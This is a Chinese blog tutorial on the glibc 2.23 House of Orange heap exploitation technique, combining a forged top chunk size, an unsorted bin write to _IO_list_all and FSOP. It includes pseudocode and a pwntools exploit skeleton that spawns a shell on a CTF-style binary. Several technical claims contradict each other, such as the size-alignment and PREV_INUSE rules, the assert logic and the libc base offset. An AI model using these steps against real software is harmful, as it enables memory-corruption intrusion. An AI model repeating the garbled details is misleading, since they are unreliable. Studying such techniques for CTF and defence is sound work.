老读者应该知道,我这两年大部分精力都花在堆利用上,尤其是 glibc 的 IO 体系。说实话,IO_FILE这套结构体,刚接触的时候确实劝退了不少人,字段又多又乱,光是_IO_2_1_stdout_那一长串初始化代码就够看半天。但一旦你把IO_FILE和堆利用串起来,会发现它几乎是高级利用技巧的“心脏”——House of orange就是最好的例子。
这个技巧最早出自 Angelboy 在 HITCON 2016 上的分享,核心价值是解决一个经典难题:当程序没有 free 函数、也没有 UAF 时,怎么把 chunk 弄进 unsorted bin?答案是通过伪造 top chunk 的 size,让 malloc 的内部逻辑“自爆”,把 top chunk 当作 unsorted bin chunk 释放掉。更精彩的是,后续还能借_IO_list_all完成 FSOP,直接打system("/bin/sh")。
这篇文章我会把IO_FILE结构体的关键字段逐个拆开讲清楚,然后从零走一遍House of orange的完整攻击链,包括每一步的约束条件、偏移计算和调试方法。内容基于 glibc 2.23 的经典环境,这是绝大多数 CTF 堆题和比赛题默认的 libc 版本,掌握了它,再往 2.24、2.27 甚至 2.31 上移植就有底子了。
1. 先从IO_FILE结构体说起
1.1 为什么文件结构体是堆利用的“金矿”
很多人觉得IO_FILE是 C 标准库的“内部实现”,跟漏洞利用八竿子打不着。大错特错。程序里只要出现fopen、fread、fwrite、printf、scanf这类函数,背后操作的全是FILE结构体。glibc 把文件流抽象成一个巨大的结构体,里面存着缓冲区指针、描述符、模式标志,还有一个至关重要的虚函数表指针。
攻击者盯上它的原因很简单:FILE结构体里面的字段大多数是指针,而这些指针在库函数内部会被直接调用。比如_IO_OVERFLOW(fp, ch)宏展开后就是*(fp->vtable + offset),你只要能控制FILE结构体内容,就能控制程序跳转到任意地址。更妙的是,很多 I/O 函数并不检查这些指针是否合法,至少在 glibc 2.23 时代没那么多检查。
关键是,glibc 里存在一个全局链表_IO_list_all,它把所有打开的文件流串在一起。如果你能改掉_IO_list_all指向的FILE结构体,那所有遍历这个链表的函数都会操作你伪造的数据。这就引出了后面要讲的 FSOP(File Stream Oriented Programming)。
1.2_IO_FILE_plus字段逐个拆解
在 glibc 源码里的libio/genops.c和libio/libio.h中定义的完整结构体,64 位下关键字段偏移如下:
| 偏移 | 字段 | 作用 |
|---|---|---|
| 0x00 | _flags | 文件状态标志,如是否可读可写 |
| 0x08 | _IO_read_ptr | 读缓冲区当前读位置 |
| 0x10 | _IO_read_end | 读缓冲区结束位置 |
| 0x18 | _IO_read_base | 读缓冲区起始位置 |
| 0x20 | _IO_write_base | 写缓冲区起始位置 |
| 0x28 | _IO_write_ptr | 写缓冲区当前写位置 |
| 0x30 | _IO_write_end | 写缓冲区结束位置 |
| 0x38 | _IO_buf_base | 通用缓冲区起始 |
| 0x40 | _IO_buf_end | 通用缓冲区结束 |
| 0x60 | _markers | 链表标记 |
| 0x68 | _chain | 指向下一个FILE结构体 |
| 0x70 | _fileno | 文件描述符 |
| 0x74 | _flags2 | 附加标志 |
| 0x78 | _old_offset | 旧偏移 |
| 0x88 | _lock | 锁指针 |
| 0xa0 | _wide_data | 宽字符数据指针 |
| 0xbc | _mode | 文件模式 |
| 0xd8 | vtable | 虚函数表指针(_IO_FILE_plus独有) |
注意_IO_FILE_plus在_IO_FILE的基础上额外加了一个vtable指针,这在整个利用链中是决定性的。不同版本偏移会略有差异,但 2.23 下就是这么排的,你可以用p &((_IO_FILE*)0)->_IO_write_base这种办法在 gdb 里快速验证。
1.3 vtable 机制与 FSOP 触发条件
vtable指向_IO_jump_t结构体,里面存了一堆函数指针,比如_IO_OVERFLOW、_IO_UNDERFLOW、_IO_READ、_IO_WRITE、_IO_SEEK等。真正的调用点多到数不清,但 FSOP 里最经典的是_IO_flush_all_lockp这个函数,它会在程序exit、abort或者某些错误路径中被调用。
_IO_flush_all_lockp的遍历逻辑大致是:
for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) != 0 && fp->_mode > 0)) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; }_IO_list_all指向链表头,fp->_chain指向下一个节点。这里触发_IO_OVERFLOW的条件有两个分支:
fp->_mode <= 0且fp->_IO_write_ptr > fp->_IO_write_base,满足就直接进入_IO_OVERFLOW(fp, EOF)调用。- 或者
_IO_vtable_offset(fp) != 0且fp->_mode > 0,这主要用于宽字符流场景。
所以 FSOP 的思路很清晰:伪造一个FILE结构体,让它的_mode和_IO_write_ptr/_IO_write_base满足条件,并把vtable指向攻击者控制的内存,让_IO_OVERFLOW槽位变成system的地址。调用时第一个参数是fp本身,如果你能把fp布置成字符串"/bin/sh"的地址,就能直接执行system("/bin/sh")。
2. House of Orange 的攻击链条全景
2.1 没有 free 怎么拿到 unsorted bin
现在假设你有一个堆漏洞,常见的是堆溢出或者 off-by-null。但程序里没有free,也没有 UAF,这意味着你无法通过正常途径把 chunk 释放到空表中。这里就是House of orange登场的地方。
它的突破口在 top chunk。在 glibc 中,top chunk 是堆顶部最大的空闲块,所有malloc分配都优先从 top chunk 切割。如果申请的大小超过了 top chunk 剩余空间,malloc 会进入sysmalloc,尝试扩展堆或使用 mmap。而sysmalloc里有一段逻辑是这样的:
assert((old_top == initial_top) || (old_size) <= (unsigned long) system_mem);old_top是原来的 top chunk,old_size是它的 size。如果你能通过漏洞把 top chunk 的 size 改成一个“看起来不正常”的值,比如远小于实际大小,这个 assert 就会触发,进而调用malloc_printerr,最终走到abort。但关键在于,在触发 assert 之前,glibc 会先把旧的 top chunk 释放进 unsorted bin:
set_head (old_top, old_size | PREV_INUSE); else { _int_free (av, old_top, 1); }释放完成后才进入错误路径。这一下,你就白得了一个 unsorted bin chunk,而且完全不需要 free 函数。
这里有个很反直觉的点:old_size必须小于等于system_mem,也就是原来的 top chunk 真实大小。你把 size 改大反而不会触发 assert。所以攻击者的操作是往小了改,同时还得符合一大票约束条件。
2.2 伪造 top chunk size 的约束条件
伪造 size 时,主要约束有这么几条:
old_size必须大于MINSIZE,也就是大于等于0x10,否则 malloc 内部直接就走别的分支了。old_size必须小于等于原来的真实 top chunk size,否则old_size <= system_mem不成立,assert 不会失败。old_size必须满足对齐要求,glibc 会检查(old_size & (MALLOC_ALIGNMENT - 1)) == 0。64 位下MALLOC_ALIGNMENT通常是0x10。- 最关键的一点:
old_size的PREV_INUSE位不能被设置。因为在 free top chunk 时会执行set_head(old_top, old_size | PREV_INUSE),如果原来的 size 自带PREV_INUSE,加完之后还是原来的值,问题不大。但如果你把 size 改成了奇数(比如0xc01),这个PREV_INUSE位会被 set_head 强制置上,后面会影响 chunk 的前后衔接。
经典环境里最常用的 size 是0xc01或者0xb01,原因就是它满足上面的所有约束,而且便于在 fake chunk 里布置内容。用公式来表达就是:
0x10 <= fake_size <= real_top_size fake_size & 0xf == 0 // 64位对齐 fake_size & 0xfff != 0 // 确保触发assert分支,而不是走mmap分支最后一条很容易忽略。如果fake_size是页对齐的(0x1000的整数倍),sysmalloc 会认为 old_top 大小正常,直接走 mmap 分支给新分配,不会触发 assert。所以 size 一定是类似0xc01、0xd01、0xe01这种“页对齐-1”的值。
2.3 触发 sysmalloc 的时机
伪造完 top chunk size,接下来需要一次 malloc 请求,让申请大小超过 top chunk 的剩余空间。比如 top chunk 原本有0x21000,你把它改成0x21,那么申请0x100就会触发溢出。
触发后 sysmalloc 内部会先尝试向系统申请更大的堆块,但申请失败(这取决于程序是否用 brk 扩展,还是已经到达了 mmap 阈值),随后进入_int_free释放 old_top,最后 assert 失败、abort。
这里有个技巧:如果你不想让程序直接崩掉,可以在触发前先设置好信号处理,或者使用setcontext那类手段。但更常见的做法是,在攻击脚本里用malloc_consolidate或者多次 malloc 让堆结构稳定下来,保证下一次分配时 unsorted bin 里的内容可控。
实践中最稳的触发方法,是把分配大小设成0x1000左右,大于伪造后的 top chunk,同时又小于系统 mmap 阈值(默认128KB)。这样大概率会走sysmalloc的堆扩展路径,而不是直接 mmap。
3. 改写_IO_list_all与 FSOP 构造
3.1 从 unsorted bin 到_IO_list_all的偏移利用
top chunk 被释放后,unsorted bin 的 fd 和 bk 都指向main_arena + 88(也就是unsorted_chunks(av))。这个地址很特殊,因为它和_IO_list_all在 libc 中的偏移是固定的,而且差值比较小,通常是几百字节级别。
真正的杀招在这里:继续 malloc,让 unsorted bin 中的 chunk 被切割。比如连续两次 malloc,第一次切走一块,剩下的留在 unsorted bin;第二次再切走一块,此时 unsorted bin 里只剩下一个你可以控制的剩余区域。然后利用堆溢出或越界写,修改这个剩余区域的bk指针,把它改成_IO_list_all - 0x10。
接下来再一次 malloc,当请求大小和剩余 chunk 匹配时,glibc 会把它从 unsorted bin 中 unlink 出来。unlink 操作的关键代码是:
bck = victim->bk; // bck = _IO_list_all - 0x10 ... unsorted_chunks(av)->bk = bck; if (bck != unsorted_chunks(av)) bck->fd = unsorted_chunks(av); // 写的就是 _IO_list_all第二行bck->fd = unsorted_chunks(av),会在_IO_list_all - 0x10 + 0x10 = _IO_list_all这个地址写入unsorted_chunks(av)的值,也就是main_arena + 88的地址。这就把全局变量_IO_list_all给改写了,让它指向main_arena + 88。
注意这个过程不依赖任何unsorted bin attack的 check 绕过,因为在 2.23 版本里,这里几乎没有对bck的合法性检查。构造好bk值后,一次 malloc 就能完成对_IO_list_all的劫持。
3.2 伪造 FILE 结构体让_IO_flush_all_lockp上钩
_IO_list_all被改写后指向main_arena + 88,这个地址会被当成一个_IO_FILE_plus结构体来解析。它的各个字段实际上就是 main_arena 内部的一些数据,所以我们要通过精心布置堆布局,让 main_arena 中特定位置的值满足 FSOP 触发条件。
这里最常用的手法是配合 smallbin。我们之前在 unsorted bin 中留下的剩余 chunk,可以将它的 size 改成0x61(即 0x60 大小,带 PREV_INUSE 标志),这样在 unsorted bin 扫描时它会被放入对应的 smallbin。smallbin 的 fd/bk 更新也会写回 main_arena 中对应 bin 的头部,这就等于往 main_arena 的特定偏移写了可控的堆指针。
当_IO_flush_all_lockp遍历到_IO_list_all指向的伪FILE时,真正起作用的几个字段是:
_mode:需要<= 0。_IO_write_ptr和_IO_write_base:需要满足_IO_write_ptr > _IO_write_base。vtable:需要指向攻击者控制的虚表,且vtable偏移处的_IO_OVERFLOW槽位填的是system。
由于_IO_list_all指向的是main_arena + 88,实际读取的_mode在main_arena + 88 + 0xbc,vtable在main_arena + 88 + 0xd8。这些位置的值能不能满足条件,取决于当前 main_arena 中对应地址的数据,而 main_arena 里哪些位置是我们可以控制的,就靠 smallbin 和 largebin 的插入来“写入”。这也是为什么 House of orange 的利用通常要配合两次 smallbin 写入,而不是一次 malloc 就能搞定。
3.3 把_IO_OVERFLOW变成system
在 glibc 2.23 中,vtable指针没有校验,只要能控制FILE结构体,你几乎可以把vtable指到任意可读内存。最简单的做法是:
- 在堆上伪造一个
_IO_jump_t结构体。 - 在偏移
0x18处放system的地址(因为_IO_OVERFLOW在_IO_jump_t中偏移通常是3 * sizeof(void*)= 0x18)。 - 让伪
FILE的vtable指向这个伪造结构体。
第一个参数是fp,也就是_IO_list_all指向的地址。理想情况是把fp本身布置成字符串"/bin/sh"的地址,但这里fp固定是main_arena + 88,很难直接当成字符串。所以更通用的做法是让system的第一个参数指向某个可控内存,里面写"/bin/sh"。这通常需要把_IO_list_all的伪造再叠加一层,或者通过其他方式改写_IO_list_all指向堆上的 fake FILE。
这就是为什么完整的 House of orange 利用链往往不是一次就拿到 shell,而是先完成信息泄露(比如先泄露 libc 基址和堆地址),再构造合适的 fake FILE。整个流程可以用下面的伪代码概括:
# 假设已经泄露 libc 基址和堆基址 # step 1: 溢出修改 top chunk size edit(p64(0) * n + p64(0xc01)) # step 2: 触发 sysmalloc,top chunk 进 unsorted bin malloc(0x1000) # step 3: 切分 unsorted bin,改剩余 chunk 的 bk ptr = malloc(0x40) malloc(0x40) edit(ptr, b"A" * 0x48 + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)) # step 4: malloc(0x60) 触发 unlink,改写 _IO_list_all malloc(0x60) # step 5: 构造堆上的 fake FILE chain,让 _chain 指向可控区域 # step 6: 触发 abort / exit,FSOP 执行 system("/bin/sh")注意 step 3 中edit的数据布局要精确对齐到剩余 chunk 的 size 字段和 bk 字段,具体偏移需要根据你第一次切割后剩余 chunk 的位置计算。
4. 实操演示:从调试到拿 shell
4.1 搭建调试环境与信息泄露
我在本地 Ubuntu 16.04 上复现时,用的 libc 是 glibc 2.23,CTF 题基本都基于这个版本。建议先把 gdb 配置好,配合pwndbg或gef,能省不少事。
首先要做的是信息泄露。House of orange 里最常用的泄露途径是:伪造一个小一点的 top chunk 后,利用 unsorted bin 里的 fd/bk 指针泄露main_arena地址。具体做法是:触发 top chunk 释放后,malloc 一个略小的 chunk,然后通过堆溢出读出 unsorted bin 中残留的 fd 指针,这个指针减去固定的偏移就是 libc 基址。
我实际调试时发现,泄露的偏移可以用一个很方便的公式确认:
main_arena = leak_addr - 88 libc_base = main_arena - 0x3c4b20 // glibc 2.23 64位下常见偏移不同版本这个偏移会有差异,建议在 gdb 里执行p &main_arena和info proc mappings确认。
4.2 完整攻击脚本的关键片段
下面给一个精简版的攻击脚本框架,思路是标准的 House of orange + FSOP,但去掉了题目特定的封装逻辑,只保留核心的堆操作:
from pwn import * context.arch = 'amd64' libc = ELF('./libc-2.23.so') io = process('./pwn') def malloc(size, data=''): io.sendlineafter('> ', '1') io.sendlineafter('size: ', str(size)) if data: io.sendafter('data: ', data) def edit(idx, data): io.sendlineafter('> ', '2') io.sendlineafter('idx: ', str(idx)) io.sendafter('data: ', data) # ---------- 泄露 libc ---------- # 假设已经通过溢出改完 top chunk size = 0xc01 malloc(0x1000, 'A' * 8) # 触发 sysmalloc,top chunk 进 unsorted bin malloc(0x40, 'B' * 8) # 切分出可控块 # 从相邻的 unsorted chunk 读出 fd 指针 leak = u64(io.recv(8)) libc.address = leak - 0x3c4b20 log.success('libc: ' + hex(libc.address)) _IO_list_all = libc.symbols['_IO_list_all'] system = libc.symbols['system'] # ---------- 第二次构造 FSOP ---------- # 再次溢出修改剩余 chunk:size = 0x61, bk = _IO_list_all - 0x10 edit(0, p64(0) * 9 + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)) # 这次 malloc 会把 fake chunk 从 unsorted bin 取出, # 同时 bck->fd 写入 _IO_list_all malloc(0x60) # 触发 abort / exit,完成 FSOP io.sendlineafter('> ', '3') io.interactive()这段脚本看起来简单,但里面有几个坑我在实操里踩过多次,下面一一说明。
4.3 现场调试记录与缓冲区布局验证
第一次在本地跑的时候,脚本在malloc(0x60)这一步就崩了,错误是malloc(): memory corruption。排查后发现是 fake chunk 的size字段没对齐。我把 size 改成0x61,但 fake chunk 的起始地址与实际 chunk 头的偏移差了 8 字节,导致 glibc 把 size 读成了0x6100000000000000之类的值。
解决办法是在 gdb 里先heap命令查看剩余 chunk 的真实地址,然后反推偏移。具体来说,fake chunk 的prev_size字段必须是 0(或者合理值),size 字段必须在 chunk 头偏移 +8 的位置,fd在 +0x10,bk在 +0x18。在溢出时,你要确保写进去的布局是:
[0x00] prev_size [0x08] size = 0x61 [0x10] fd = 0 [0x18] bk = _IO_list_all - 0x10 [0x20] 后续内容可控如果你的溢出点是从用户数据区开始的,那需要先填满到 fake chunk 头,再写这 32 字节。
另一个常见问题是malloc(0x60)时 glibc 会先检查 fastbin,如果 fastbin 里有 chunk,根本不会走到 unsorted bin 扫描。所以你在构造之前,最好确保 fastbin 是空的,或者请求大小选一个不会命中 fastbin 的值。2.23 下 fastbin 最大是0x80,所以0x60属于 fastbin 范围,但关键是 fastbin 里必须没有空闲 chunk,这样 malloc 才会继续查 smallbin 和 unsorted bin。
5. 常见问题与排查技巧实录
5.1 问题速查表
| 现象 | 原因 | 解决办法 |
|---|---|---|
malloc(): memory corruption | fake chunk 的 size 或 fd/bk 布局错误 | 在 gdb 中用heap bins查看当前空闲块,确认 fake chunk 的头部地址和值 |
| assert 不触发,程序正常分配 | fake top size 是页对齐的,走了 mmap 分支 | 把 size 改成0xc01、0xd01这类值,避免页对齐 |
_IO_list_all改写了但 FSOP 没执行 | _mode或_IO_write_ptr/_IO_write_base不满足条件 | 检查 main_arena + 88 处的字段值,调整 smallbin 布局,让对应偏移写入可控数据 |
执行到system但参数不对 | fp作为第一个参数不是"/bin/sh" | 把 fake FILE 的起始地址落在"/bin/sh"字符串上,或改用_IO_str_jumps那类技巧 |
| glibc 2.24+ 报 vtable 校验失败 | 新版增加了IO_validate_vtable,vtable 必须指向 libc 中的合法 vtable | 使用_IO_str_jumps等合法 vtable,配合_IO_OVERFLOW偏移调整 |
5.2 独家避坑技巧
排坑最有效的方法是在 gdb 里下断点到_IO_flush_all_lockp,然后单步看fp和fp->_chain的解析过程。_IO_list_all被改写后,fp是什么、_mode是什么、_IO_write_ptr是什么,一目了然。很多时候不是你的思路错了,而是某个字节偏移差了一位,gdb 里一照就现形。
另外,我在 2.23 上做 House of orange 时,习惯先把_IO_list_all指向一个堆上的可控区域,而不是直接用main_arena + 88。这样 fake FILE 的所有字段都能完全控制,省去和 main_arena 内部数据博弈的时间。做法是:在 unsorted bin 的 fake chunk 里预先写好一个完整的_IO_FILE_plus结构体,然后让_IO_list_all被改写为这个 fake chunk 的地址,而不是main_arena + 88。这需要你对bck->fd = unsorted_chunks(av)这条写入原语做一次变通,改成利用 smallbin 的 fd/bk 把堆地址写入_IO_list_all。操作上更绕,但可控性高很多。
5.3 版本差异与移植思路
最后说一下版本问题。glibc 2.24 加入了 vtable 校验,IO_validate_vtable会检查 vtable 指针是否落在__libc_IO_vtables段内。这意味着你不能再把 vtable 指向堆上伪造的_IO_jump_t。常见的绕过思路是使用 libc 自带的_IO_str_jumps,它里面有个_IO_str_overflow函数,会从 FILE 结构体的_IO_buf_base等字段读取值并进行一次间接调用,你可以在_IO_str_jumps偏移处构造出system的调用效果。
到了 glibc 2.27 及以后,_IO_FILE相关结构又变了几版,_flags字段的处理和_IO_flush_all_lockp的触发条件都有调整,但核心思路是一脉相承的。我的建议是先把 2.23 的 House of orange 彻底吃透,再去看高版本,很多看起来玄乎的技巧其实就是在这个基础上加了层校验绕过。
我个人的经验是,不要把 House of orange 当成一个单纯的“堆漏洞利用技巧”去背,它的灵魂在于理解 malloc 内部的错误路径和_IO_list_all全局链表的联动关系。当你把这两条线打通之后,再做那些改改约束条件的高版本题目,心里就有底了。
最后再分享一个扩展思路。House of orange 的信息泄露阶段不一定非要靠 unsorted bin 的 fd,如果你控制的溢出长度足够,可以直接伪造一个_IO_2_1_stdout_,改它的_IO_write_base和_IO_write_ptr,让程序下一次printf或puts把内存内容打出来。这个做法在堆题里叫“FSOP 泄露”,配合 House of orange 能让整个利用链更顺滑。多试几次,你会发现IO_FILE这套东西玩熟了之后,看很多堆题都是同一个套路,只是包装不同而已。